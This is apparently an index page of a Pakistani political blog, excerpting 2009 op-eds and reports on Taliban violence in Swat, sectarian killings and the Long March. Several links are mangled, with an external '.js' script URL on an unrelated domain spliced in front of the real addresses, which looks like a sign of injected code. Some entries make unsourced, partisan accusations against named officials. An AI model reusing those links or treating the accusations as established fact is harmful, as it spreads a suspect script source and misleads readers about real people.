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Extremism is a thin line (and the menace of Taliban and Farhat Hshmi): Extremism is a thin line By Afiya Shehrbano SEVERAL commentators have expressed their concern and disbelief in the media, over the growing violence and escalating socio-political changes observed in Swat in the past few months. While one can understand
Swat: Hardtalk: An interview with the NWFP Chief Minister: HARDtalk: “Our intelligence is not good enough” —Ameer Haider Hoti, Chief Minister NWFP Ameer Haider Hoti, chief minister of the NWFP, says the army’s “ground intelligence is not good enough” to get militant leader Maulana Fazlullah in Swat, though
Meeting of ex-servicemen: the Mullah Military Alliance repackaged and renamed?: Agents of ISI, perpetrators of violence and mischief in Pakistan and neighboring countries, exploiters of religion, are conspiring once again against the democratic people of Pakistan. Look at their names: Hamid Gul, Aslam Beg, Roedad Khan, Qazi Hussain Ahmad,
Talat Masood: Jihadi organisations not only have to be banned but demobilised and disarmed.: Confronting the reality Monday, February 02, 2009by Talat Masood Pakistan is being frequently characterised as a “failed,” “failing” or at best “fragile” state. In the latest world ranking of failed states by an influential US think tank it has
In memory of the Swat valley: In memory of the Swat valleyIn the national interest Monday, February 02, 2009by Kamal Siddiqi The writer is editor reporting, The News One can only wonder at the statements of high officials like Rehman Malik who says that a
Quetta: UNHCR senior official kidnapped, Shia driver killed: Quetta: The killing by Taliban + Sipah-e-Sahaba continues. The best way to find the killers/kidnappers is to arrest Quetta’s Police Chief and the Commandant of ISI in Quetta, who are protecting/abetting sectarianism/terrorism in the city. UNHCR senior official kidnapped,
Swat: Taliban in uniform versus Taliban in civil dress: Swat: Taliban in uniform versus Taliban in civil dress = 1200 citizens dead; 137 schools blown up Operation Rah-e-Haq is a noora-kusthi (friendly match) of Taliban with Pakistan Army in which low-rank soldiers and ordinary citizens are being used
Emptied of its poetry – Swat: a laboratory for testing a bomb called ‘strategic depth à la religious bigotry’: Emptied of its poetry By Shaheen Sardar Ali ‘Da Malakand da sar tootee wai, pa ohr sati wai Kho Tohmati na wai Mayana’ (Were that I could become a carefree parrot perched on the peak of the Malakand mountains
Swat update 1 Feb 2009: Yet another school blown up by the Taliban terrorists: Eight militants killed, school blown up in Swat By Hameedullah Khan MINGORA, Jan 31: Eight militants, three soldiers and two civilians were killed and several others injured in armed clashes in different areas of Swat on Saturday. The militants
Tracking the Media: Interpretations of Mass Media Discourses in India and Pakistan – Book Review: Book review: The venom of Indo-Pak media war — by Khaled Ahmed Tracking the Media: Interpretations of Mass Media Discourses in India and Pakistan By Subarno Chattarji; Routledge 2008; Pp302; Price Rs 695; Available in bookstores in Pakistan. We
When time is the enemy: Extremism, Long March and a Fragile Democracy: When time is the enemySunday, February 01, 2009 by Ghazi Salahuddin ….Coming back to other reports published on Friday, the main headlines belonged to Rehman Malik, the interior adviser, who seems to stride across the corridors of power with
Holbrooke’s entry will lead to India-Pakistan dialogue on Kashmir: Holbrooke’s entry will lead to dialogue Sunday, February 01, 2009by Aakar Patel India must engage Pakistan on the issue of Jammu and Kashmir before it is forced to. It must settle on a solutions process that is approved by
Qazi”s statement on the ‘non-Islamic’ acts of Islamic Taliban in Swat: Too little, too late: Will Qazi Hussain Ahmed, and his allies such as Imran Khan, call for public demonstrations against the atrocities of Taliban? Sermons and senseSunday, February 01, 2009 Delivering his Friday sermon, the ameer of the Jamaat-e-Islami (JI), Qazi Hussain Ahmed,
Senators declared assets depict majority dirty rich: Do they belong us?: Richest and poorest senators: Country’s leaders divided between rich and poor * Swati appears to be richest senator with billions of rupees in assets * JUI-F senator among poorest leaders with Rs 30,000 in account By Irfan Ghauri and
Police Chief Nawabzada Humayun Jogezai , son in law of the Balochistan Chief Minister, is involved in target killing of Hazaras in Quetta…..: The Gang Behind Target Killing of Hazaras Source: Hazara News Pakistan – http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&hazaranewspakistan.wordpress.com/2009/01/28/the-gang-behind-target-killing-of-hazaras/ Quetta January 29: Target killing of Hazaras in Quetta started since 2000 when Sardar Nisar Ali Hazara was attacked by “unknown” gunmen. His driver succumbed to
Talat Hussain: An analysis of Long March and Nawaz Sharif’s options…: Qadam barhao Nawaz Sharif, hum tumharay saath hain? Talat Hussain PML-N’s dangerous gamble IN a democracy, the right to protest is fundamental and, if conducted peacefully, should not be opposed. From this perspective, the PML-N’s decision to throw its
Rahimullah Yusufzai: And the drone policy continues…: And the drone policy continues… Saturday, January 31, 2009 Rahimullah Yusufzai Pakistan abdicated its right to be taken seriously long ago when it first agreed to assist the US in fighting the Soviet occupying forces in Afghanistan, hosting, training
Replicating the Al Anbar model in FATA, Pakistan? Some suggestions…: Replicating the Al Anbar model in FATA? Saturday, January 31, 2009 Farhat Taj Al Anbar is a region in Iraq that was devastated by Al Qaeda inflicted violence. Several Sunni tribes of the region formed an alliance, supported by
Video Story of Swat Pakistan, a heaven turned into a hell by the Taliban and their accomplices in ISI: Fizza Afridi: This is about Swat, a city of breathtaking natural beauty turned into a nightmare by those who use the name of Islam but all their actions are against Islam. Some Comments: agentr777 says: The bottom line is
About: Let us build PakistanWelcome to our critical reflections on Pakistan’s politics, society and arts. In the main, the blog offers a selection of editorials and op-eds from the Pakistani and international press. The blog is a project of ‘Critical
Afzal Khan Lala: Veteran Pashtun leader defies Swat Taliban: Veteran Pashtun leader defies Swat Taliban * Three-time attack survivor Afzal Khan on top of Taliban’s most-wanted list* Favours military action, says government has to regain control ISLAMABAD: Veteran ethnic Pashtun politician Muhammad Afzal Khan has refused to leave
Swat: Diary of a school girl in Pakistan: A Pakistani seventh grade schoolgirl is writing a diary after Taleban militants in the troubled north-western Swat district ordered schools to close as part of an edict banning girls’ education. Militants seek to impose their austere interpretation of Sharia
Imran Khan’s letter to Barack Obama: A critical commentary: This site has moved to hhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26780, click this link if you are not redirected
The day the army chief was reported as visiting Swat….: The day the army chief was reported as visiting Swat, two observations appeared on the editorial page of a national daily: The first was: “People now have their reservations about the operation. They ask pertinent questions about it. They
Another Shia killed, eight abducted from Hangu – Terror of Taliban and Sipah-e-Sahaba reigns the NWFP; Pakistan Army is a silent accomplice….: One killed, eight abducted from Hangu Staff Report HANGU: A person was killed and eight others abducted in several incidents of violence in Hangu district of NWFP, official sources said on Thursday. They said unidentified armed men opened fire
Mob tries to burn houses of Ahmadis in Layyah: Shame on extremist Muslims who cannot respect the faith and practices of their fellow Pakistanis. …. Mob tries to burn houses of Ahmadis in Layyah * HRCP alarmed over four children’s detention on blasphemy charges* FIR says local MNA’s
Nawaz Sharif threatens Asif Zardari? An analysis of “Long March”: Nazir Naji …. Tanvir Qaiser Shahid Some Comments: Mohammad Musa Islam Islam Says: To those who love nawaz shareef: that is your right but don’t deny the histry. 1. who was with general jeelani, 2. who was with general
Some thoughts on Swat: the devastation caused by the army’s till-now half-hearted attempts to defeat the insurgents is inexplicable: Some thoughts on SwatFriday, January 30, 2009Charles Ferndale For months I have been reading assiduously the comments in Pakistani newspapers concerning militancy in the NWFP and FATA. This newspaper, in particular, has distinguished itself in its coverage of this
Ayaz Amir: The Long March: Seeking enlightenment, a way out of the confusion: Seeking enlightenment, a way out of the confusionIslamabad diary Friday, January 30, 2009by Ayaz Amir A pundit, so-called, is meant to clarify things, to throw some light where darkness reigns. But I am confused myself and seek an answer
Dealing with Swat: General Kayani’s assurance, too little, too late?: Dealing with SwatFriday, January 30, 2009 The COAS has said that the militant menace in Swat will indeed be overcome. Visiting Swat, General Ashfaq Parvez Kayani pledged to take measures to restore the writ of the state. Ahead of
An example of the Shariat of the Taliban; Where is Imran Khan on this?: Scuffle over dress code Friday, January 23, 2009Militant, ex-Jihadi among three killed in Mingora By our correspondent MINGORA: Militants gunned down Amjad Islam, teacher of a private school who himself waged a Jihad against the Soviet forces in Afghanistan,
Swat: Some excerpts from Mullah Fazlullah’s Taliban FM Radio (Shariat Channel): The following are a few excerpts from Mullah Fazlullah’s FM Radio in Swat, which he has been successfully operating, first under the auspices of the MMA Government in the NWFP and now with the (unholy) blessings of the Pakistan
Nawaz Sharif’s opportunistic politics – by Haroon-ur-Rashid: Monkeys (Qazi Hussain Ahmed, Imran Khan, Nawaz Sharif) are fighting on their share of ‘cheese’. But where is the cheese?
A column on Nawaz Sharif – By Haroon-ur-Rashid: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
"Friends" of democracy in Pakistan and the "well-wishers" of PPP – Asadullah Ghalib: Ghulma Mustafa Khar, Mumtaz Bhutto, Asghar Khan and the Zardari phobia
“Friends” of democracy in Pakistan and the “well-wishers” of PPP – Asadullah Ghalib: Ghulma, Mustafa Khar, Mumtaz Bhutto, Asghar Khan and the Zardari phobia